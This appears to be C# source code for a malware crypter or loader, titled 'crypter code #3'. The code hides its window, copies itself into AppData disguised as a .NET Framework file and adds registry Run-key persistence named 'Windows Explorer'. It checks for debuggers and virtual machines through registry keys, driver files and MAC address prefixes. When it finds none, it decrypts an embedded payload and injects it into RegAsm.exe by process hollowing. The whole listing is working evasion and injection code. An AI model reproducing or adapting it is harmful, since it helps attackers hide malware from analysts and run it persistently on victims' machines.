crypter code #3

        public static string installDir = Environment.GetEnvironmentVariable("appdata") + "\\Windows .NET Framework";
        public static string installLoc = installDir + "\\RegAsm.exe";
        public static string myreg = "Windows Explorer";
        public static void AddStartup()
        {
            try
            {
                RegistryKey sKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                if (sKey.GetValue(myreg) == null)
                {
                    sKey.SetValue(myreg, installLoc);
                    sKey.Close();
                }
                else
                {
                    try
                    {
                        RegistryKey cKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (cKey.GetValue(myreg) == null)
                        {

                            cKey.SetValue(myreg, installLoc);

                        }
                        else { }
                    }
                    catch { }
                    try
                    {
                        RegistryKey cKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (cKey.GetValue(myreg) == null)
                        {

                            cKey.SetValue(myreg, installLoc);

                        }
                        else { }
                    }
                    catch { }

                }

            }
            catch { }


        }
        public static void EnvSetup()
        {
            if (System.Reflection.Assembly.GetExecutingAssembly().Location != installLoc)
            {
                try
                {
                    if (!Directory.Exists(installDir))
                    {
                        Directory.CreateDirectory(installDir);
                    }
                    File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, installLoc);
                }
                catch { }
            }
            else { }
            AddStartup();
        }

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        internal static extern bool IsDebuggerPresent();
        public Form1()
        {
            InitializeComponent();
            SetVisibleCore(false);
            // get application GUID as defined in AssemblyInfo.cs
            string appGuid =
                ((GuidAttribute)Assembly.GetExecutingAssembly().
                    GetCustomAttributes(typeof(GuidAttribute), false).
                        GetValue(0)).Value.ToString();

            // unique id for global mutex - Global prefix means it is global to the machine
            string mutexId = string.Format("Global\\{{{0}}}", appGuid);

            // Need a place to store a return value in Mutex() constructor call
            bool createdNew;

            // edited by Jeremy Wiebe to add example of setting up security for multi-user usage
            // edited by 'Marc' to work also on localized systems (don't use just "Everyone")
            var allowEveryoneRule =
                new MutexAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid
                                                           , null)
                                   , MutexRights.FullControl
                                   , AccessControlType.Allow
                                   );
            var securitySettings = new MutexSecurity();
            securitySettings.AddAccessRule(allowEveryoneRule);

            // edited by MasonGZhwiti to prevent race condition on security settings via VanNguyen
            using (var mutex = new Mutex(false, mutexId, out createdNew, securitySettings))
            {
                // edited by acidzombie24
                var hasHandle = false;
                try
                {
                    // note, you may want to time out here instead of waiting forever
                    // edited by acidzombie24
                    // mutex.WaitOne(Timeout.Infinite, false);
                    hasHandle = mutex.WaitOne(5000, false);
                    if (hasHandle == false)
                        throw new TimeoutException("Timeout waiting for exclusive access");
                }
                catch (AbandonedMutexException)
                {
                    // Log the fact that the mutex was abandoned in another process,
                    // it will still get acquired
                    hasHandle = true;
                }
                bool isRemoteDebuggerPresent = false;
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isRemoteDebuggerPresent);
                List<string> EvidenceOfSandbox = new List<string>();

                List<string> sandboxStrings = new List<string> { "vmware", "virtualbox", "vbox", "qemu", "xen" };

                string[] HKLM_Keys_To_Check_Exist = {@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier",
                @"SYSTEM\CurrentControlSet\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S",
                @"SYSTEM\CurrentControlSet\Control\CriticalDeviceDatabase\root#vmwvmcihostdev",
                @"SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers",
                @"SOFTWARE\VMWare, Inc.\VMWare Tools",
                @"SOFTWARE\Oracle\VirtualBox Guest Additions",
                @"HARDWARE\ACPI\DSDT\VBOX_"};

                string[] HKLM_Keys_With_Values_To_Parse = {@"SYSTEM\ControlSet001\Services\Disk\Enum\0",
                @"HARDWARE\Description\System\SystemBiosInformation",
                @"HARDWARE\Description\System\VideoBiosVersion",
                @"HARDWARE\Description\System\SystemManufacturer",
                @"HARDWARE\Description\System\SystemProductName",
                @"HARDWARE\Description\System\Logical Unit Id 0"};

                foreach (string HKLM_Key in HKLM_Keys_To_Check_Exist)
                {
                    RegistryKey OpenedKey = Registry.LocalMachine.OpenSubKey(HKLM_Key, false);
                    if (OpenedKey != null)
                    {
                        EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key);
                    }
                }

                foreach (string HKLM_Key in HKLM_Keys_With_Values_To_Parse)
                {
                    string valueName = new DirectoryInfo(HKLM_Key).Name;
                    try
                    {
                        string value = (string)Registry.LocalMachine.OpenSubKey(Path.GetDirectoryName(HKLM_Key), false).GetValue(valueName);
                        foreach (string sandboxString in sandboxStrings)
                        {
                            if (!string.IsNullOrEmpty(value) && value.ToLower().Contains(sandboxString.ToLower()))
                            {
                                EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key + " => " + value);
                            }
                        }
                    }
                    catch { }
                }
                string[] FilePaths = {@"C:\windows\Sysnative\Drivers\Vmmouse.sys",
        @"C:\windows\Sysnative\Drivers\vm3dgl.dll", @"C:\windows\Sysnative\Drivers\vmdum.dll",
        @"C:\windows\Sysnative\Drivers\vm3dver.dll", @"C:\windows\Sysnative\Drivers\vmtray.dll",
        @"C:\windows\Sysnative\Drivers\vmci.sys", @"C:\windows\Sysnative\Drivers\vmusbmouse.sys",
        @"C:\windows\Sysnative\Drivers\vmx_svga.sys", @"C:\windows\Sysnative\Drivers\vmxnet.sys",
        @"C:\windows\Sysnative\Drivers\VMToolsHook.dll", @"C:\windows\Sysnative\Drivers\vmhgfs.dll",
        @"C:\windows\Sysnative\Drivers\vmmousever.dll", @"C:\windows\Sysnative\Drivers\vmGuestLib.dll",
        @"C:\windows\Sysnative\Drivers\VmGuestLibJava.dll", @"C:\windows\Sysnative\Drivers\vmscsi.sys",
        @"C:\windows\Sysnative\Drivers\VBoxMouse.sys", @"C:\windows\Sysnative\Drivers\VBoxGuest.sys",
        @"C:\windows\Sysnative\Drivers\VBoxSF.sys", @"C:\windows\Sysnative\Drivers\VBoxVideo.sys",
        @"C:\windows\Sysnative\vboxdisp.dll", @"C:\windows\Sysnative\vboxhook.dll",
        @"C:\windows\Sysnative\vboxmrxnp.dll", @"C:\windows\Sysnative\vboxogl.dll",
        @"C:\windows\Sysnative\vboxoglarrayspu.dll", @"C:\windows\Sysnative\vboxoglcrutil.dll",
        @"C:\windows\Sysnative\vboxoglerrorspu.dll", @"C:\windows\Sysnative\vboxoglfeedbackspu.dll",
        @"C:\windows\Sysnative\vboxoglpackspu.dll", @"C:\windows\Sysnative\vboxoglpassthroughspu.dll",
        @"C:\windows\Sysnative\vboxservice.exe", @"C:\windows\Sysnative\vboxtray.exe",
        @"C:\windows\Sysnative\VBoxControl.exe"};
                foreach (string FilePath in FilePaths)
                {
                    if (File.Exists(FilePath))
                    {
                        EvidenceOfSandbox.Add(FilePath);
                    }
                }
                string[] badMacAddresses = { @"000C29", @"001C14", @"005056", @"000569", @"080027" };

                NetworkInterface[] NICs = NetworkInterface.GetAllNetworkInterfaces();
                foreach (NetworkInterface NIC in NICs)
                {
                    foreach (string badMacAddress in badMacAddresses)
                    {
                        if (NIC.GetPhysicalAddress().ToString().ToLower().Contains(badMacAddress.ToLower()))
                        {
                            EvidenceOfSandbox.Add(Regex.Replace(NIC.GetPhysicalAddress().ToString(), ".{2}", "$0:").TrimEnd(':'));
                        }
                    }
                }

                if (!IsDebuggerPresent() && !isRemoteDebuggerPresent && !System.Diagnostics.Debugger.IsAttached && EvidenceOfSandbox.Count == 0)
                {


                    RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(ThanatosCrypt.Resource1.primary)));
                    EnvSetup();
                }


                // edited by acidzombie24, added if statement
                if (hasHandle)
                    mutex.ReleaseMutex();
                Environment.Exit(0);


            }
        }